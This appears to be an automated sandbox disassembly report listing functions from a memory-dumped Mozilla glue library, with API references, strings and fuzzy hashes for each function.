Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 9d5dbb1dbb93d9a7d3e36f70b4d0a7a14edec91e91fbb0cb63d57a924d35aa7f
Instruction ID: daeee159114a82cfaf032e66e3eced24fdd647a4d197d20a721ac1cd551afd99
Opcode Fuzzy Hash: 9d5dbb1dbb93d9a7d3e36f70b4d0a7a14edec91e91fbb0cb63d57a924d35aa7f
Instruction Fuzzy Hash: 4861E271A00710DBDB119F25C880BEEB7B4BF8A308F44951DEE8A57761DB31E958CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD3DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CD3D38A,?), ref: 6CD3DC6F
free.MOZGLUE(?,?,?,?,?,6CD3D38A,?), ref: 6CD3DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CD3D38A,?), ref: 6CD3DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CD3D38A,?), ref: 6CD3DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CD3D38A,?), ref: 6CD3DD4A

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 5ebce18bc704f49ca8868d09105c396e7415c56ede11970633a60f0ad63343e0
Instruction ID: e72f73cf231f4d187fe6e10c8d1449e96869b26ae5852a17988bae7b5e644407
Opcode Fuzzy Hash: 5ebce18bc704f49ca8868d09105c396e7415c56ede11970633a60f0ad63343e0
Instruction Fuzzy Hash: AD416BB5A00215DFCB00CF99C88099AB7F5FF8A304B155469D94AABB21E771FC00CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1FA80: GetCurrentThreadId.KERNEL32 ref: 6CD1FA8D
Part of subcall function 6CD1FA80: AcquireSRWLockExclusive.KERNEL32(6CD6F448), ref: 6CD1FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD26727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CD267C8

Part of subcall function 6CD34290: memcpy.VCRUNTIME140(?,?,6CD42003,6CD40AD9,?,6CD40AD9,00000000,?,6CD40AD9,?,00000004,?,6CD41A62,?,6CD42003,?), ref: 6CD342C4

Strings

data, xrefs: 6CD26593

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 6f8fba136f000b85b1640fa28d090670ef60e9b487291bebd38e3f7ff6ddb349
Instruction ID: 189627b153fea2eac0e8b69f3fba1e935ef3a0560e79066153cbac75edb50035
Opcode Fuzzy Hash: 6f8fba136f000b85b1640fa28d090670ef60e9b487291bebd38e3f7ff6ddb349
Instruction Fuzzy Hash: 05D1E375A083408FD724DF25D850B9FB7E5AFC5308F10492DD689C7BA1EB35A90ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CCEEB57,?,?,?,?,?,?,?,?,?), ref: 6CD1D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CCEEB57,?), ref: 6CD1D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CCEEB57,?), ref: 6CD1D673
free.MOZGLUE(?), ref: 6CD1D888

Strings

|Enabled, xrefs: 6CD1D81E

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 4b169a43ce0545fc5b6561e2dae74625fe888b650c0517428ee5062cbed251f7
Instruction ID: 3f477e37e9c058af8ed0c0126875fd44dcd89adcd6e61fe9a53614bebb206805
Opcode Fuzzy Hash: 4b169a43ce0545fc5b6561e2dae74625fe888b650c0517428ee5062cbed251f7
Instruction Fuzzy Hash: EEA127B0A08308CFDB02CF69D4807AEBBF1AF4A318F14805CD895ABB51D731A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CD1F480

Part of subcall function 6CCEF100: LoadLibraryW.KERNEL32(shell32,?,6CD5D020), ref: 6CCEF122
Part of subcall function 6CCEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCEF132

CloseHandle.KERNEL32(00000000), ref: 6CD1F555

Part of subcall function 6CCF14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CCF1248,6CCF1248,?), ref: 6CCF14C9
Part of subcall function 6CCF14B0: memcpy.VCRUNTIME140(?,6CCF1248,00000000,?,6CCF1248,?), ref: 6CCF14EF

Part of subcall function 6CCEEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CCEEEE3

CreateFileW.KERNEL32 ref: 6CD1F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CD1F523

Strings

\oleacc.dll, xrefs: 6CD1F4CB

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 55ddf3689d0588efb5215f3d5f86dde560ea09e5b8107773b187d26c03228832
Instruction ID: 1de2eb864e41f00062e16d5e01fb2b53f399552493f8800da76be872d306b66f
Opcode Fuzzy Hash: 55ddf3689d0588efb5215f3d5f86dde560ea09e5b8107773b187d26c03228832
Instruction Fuzzy Hash: 8941A2706087109FE720DF29D884A9BB7F4AF85318F500A1CF69183A60EB30D949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CD47526
__Init_thread_footer.LIBCMT ref: 6CD47566
__Init_thread_footer.LIBCMT ref: 6CD47597

Strings

UnmapViewOfFile2, xrefs: 6CD47552
kernel32.dll, xrefs: 6CD47557

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 0db10dfa784e7e2516e193c1069698ed975515805a2fade27ed08b25c82f2f21
Instruction ID: f6cddd1c38879a783845fe561411df5b2b1d1a69bd8887eed4a26836a64ea88b
Opcode Fuzzy Hash: 0db10dfa784e7e2516e193c1069698ed975515805a2fade27ed08b25c82f2f21
Instruction Fuzzy Hash: 6E21F831704941FBEA14EBA69914F797379FB46364F12852DD7098BFA0C731A805C5B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD4C0E9), ref: 6CD4C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CD4C437
FreeLibrary.KERNEL32(?,6CD4C0E9), ref: 6CD4C44C

Strings

ntdll.dll, xrefs: 6CD4C413
NtQueryVirtualMemory, xrefs: 6CD4C431

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2243706546de7849ca74213bcec570e00697a81d40f725ad68e1046cbd5af9a3
Instruction ID: 2d0c377a36fb66fec76e6e667899f9b6b67fff497fdcbe193514b3d53379a55c
Opcode Fuzzy Hash: 2243706546de7849ca74213bcec570e00697a81d40f725ad68e1046cbd5af9a3
Instruction Fuzzy Hash: F1E092B0601B01ABFF006B738A18739BBFCB786204F00915AAB4891762EBB1D004EB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CD475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD4748B,?), ref: 6CD475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CD475D7
FreeLibrary.KERNEL32(?,6CD4748B,?), ref: 6CD475EC

Strings

RtlNtStatusToDosError, xrefs: 6CD475D1
ntdll.dll, xrefs: 6CD475B3

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: ede829837d1889fcabb1113d4bdac49c36bf007cd33ec041ba3a3bf32eec4aeb
Instruction ID: bfa739b8c137f7cfdb44701528a0a64c72928e6815718c8586fc57aa978be564
Opcode Fuzzy Hash: ede829837d1889fcabb1113d4bdac49c36bf007cd33ec041ba3a3bf32eec4aeb
Instruction Fuzzy Hash: ADE09272644701BBFB006BA3C848721BAFCEB06259F208026EB05D5A62EBB4D045DF20

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CD4BE49), ref: 6CD4BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CD4BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CD4BE49), ref: 6CD4BF38
RtlReAllocateHeap.NTDLL ref: 6CD4BF83
RtlFreeHeap.NTDLL(6CD4BE49,00000000), ref: 6CD4BFA6

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 81726ae0eb29dd910d5b8d70759ec2f28ce345b6c77450c70a1d92af21711ec7
Instruction ID: 63eaa2c2c4d3b3527ea00b8872afa69feb1d7e38625f06d906eb181292b1f361
Opcode Fuzzy Hash: 81726ae0eb29dd910d5b8d70759ec2f28ce345b6c77450c70a1d92af21711ec7
Instruction Fuzzy Hash: C1519371A006019FE710CF69C880B9EB3A2FFD4314F298639D659A7BA4D731F9068F90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD38E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?,6CD5D734), ref: 6CD38E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?,6CD5D734), ref: 6CD38EBF
free.MOZGLUE(?,?,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?), ref: 6CD38F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?,6CD5D734), ref: 6CD38F46
free.MOZGLUE(?,?,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?), ref: 6CD38F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?), ref: 6CD38F8F

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 91a46fb6f5a269e81bdcea773b72f6b50c32e8ef5b51fcaf3ef15faee47bcfb1
Instruction ID: d2e2a1515d6e1a6b53e468a4ab8ab8dbb9707f9517a9ffce5679834d74426739
Opcode Fuzzy Hash: 91a46fb6f5a269e81bdcea773b72f6b50c32e8ef5b51fcaf3ef15faee47bcfb1
Instruction Fuzzy Hash: 7D5181B1A012258FEB14CF64DC8066E73F6AF86318F15052AD95AEB750E731F904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCE4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCE4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCE4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCE4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CCE4F1E

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ac7739f33903d466a1cbf20260d637511d9592cb22c7ba489baa280e3a88ca8e
Instruction ID: 4f87ea8287fd51f89ff640977c1b35908c490e65bbb37d53157d440368d92428
Opcode Fuzzy Hash: ac7739f33903d466a1cbf20260d637511d9592cb22c7ba489baa280e3a88ca8e
Instruction Fuzzy Hash: 0041BE716087059FC705CFA9C88095BB7E4BF8E344F108A2DF56587B51EB30E958CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF15E7
free.MOZGLUE(?,?,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF1637

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 96003f4ed4a797461edd42f74d29c13538fcb442269f77de8df4706082f8ae19
Instruction ID: 8bbff728306fe9d9c9f6a39cdabba4a23f631d64e98f10f05635dd45d8b24a1d
Opcode Fuzzy Hash: 96003f4ed4a797461edd42f74d29c13538fcb442269f77de8df4706082f8ae19
Instruction Fuzzy Hash: EC31D3B2A001048BCB588F6DD85046E77A9FF813647250B2DE833DBBE4FB30D9168791

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AD9D

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE01
GetLastError.KERNEL32(?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE3D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c2d8810882916284528380726cab03bcd7833ae8f7689246439c31a4868dad09
Instruction ID: 21237eb89d1b05ba8d7f0ee8e3fda4f672cf9e3017dee2c4959de883ba4ee491
Opcode Fuzzy Hash: c2d8810882916284528380726cab03bcd7833ae8f7689246439c31a4868dad09
Instruction Fuzzy Hash: 0F312DB1A002159FDB10DF7A8C44AABB7F8AF49614F558839E99AD7750E734E804CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD45EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CD5DCA0,?,?,?,6CD1E8B5,00000000), ref: 6CD45F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD1E8B5,00000000), ref: 6CD45F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CD1E8B5,00000000), ref: 6CD45F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CD1E8B5,00000000), ref: 6CD45F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD1E8B5,00000000), ref: 6CD45FD6

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b3678d5365cfb347564061ea0efc1ffe66f7b865a2b3f8da345cc1636a4a7f7b
Instruction ID: cd45d662722773b1dae90feaab955162df4b9c9dc026c4df92be6d9bd7e0aa7d
Opcode Fuzzy Hash: b3678d5365cfb347564061ea0efc1ffe66f7b865a2b3f8da345cc1636a4a7f7b
Instruction Fuzzy Hash: 8B310B34300600DFD715CF29C898A2AB7F9FF89319BA48558FA568B7A5D731EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CCEB532
moz_xmalloc.MOZGLUE(?), ref: 6CCEB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCEB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CCEB57E
free.MOZGLUE(00000000), ref: 6CCEB58F

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 2a7dd51fba1feb05b90b0550e96a6c0479ef77a896b3f60ba19bb48cb5c94b76
Instruction ID: fd6cfae502acbb1bd9c42dd7a439e4fbb9bd7ee0bd6be6e1b7d11617898246c8
Opcode Fuzzy Hash: 2a7dd51fba1feb05b90b0550e96a6c0479ef77a896b3f60ba19bb48cb5c94b76
Instruction Fuzzy Hash: 3221F371A012059BDB008F69CC50BBAFBB9FF8A314F284029E919DB391F776D911C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CD46E78

Part of subcall function 6CD46A10: InitializeCriticalSection.KERNEL32(6CD6F618), ref: 6CD46A68
Part of subcall function 6CD46A10: GetCurrentProcess.KERNEL32 ref: 6CD46A7D
Part of subcall function 6CD46A10: GetCurrentProcess.KERNEL32 ref: 6CD46AA1
Part of subcall function 6CD46A10: EnterCriticalSection.KERNEL32(6CD6F618), ref: 6CD46AAE
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD46AE1
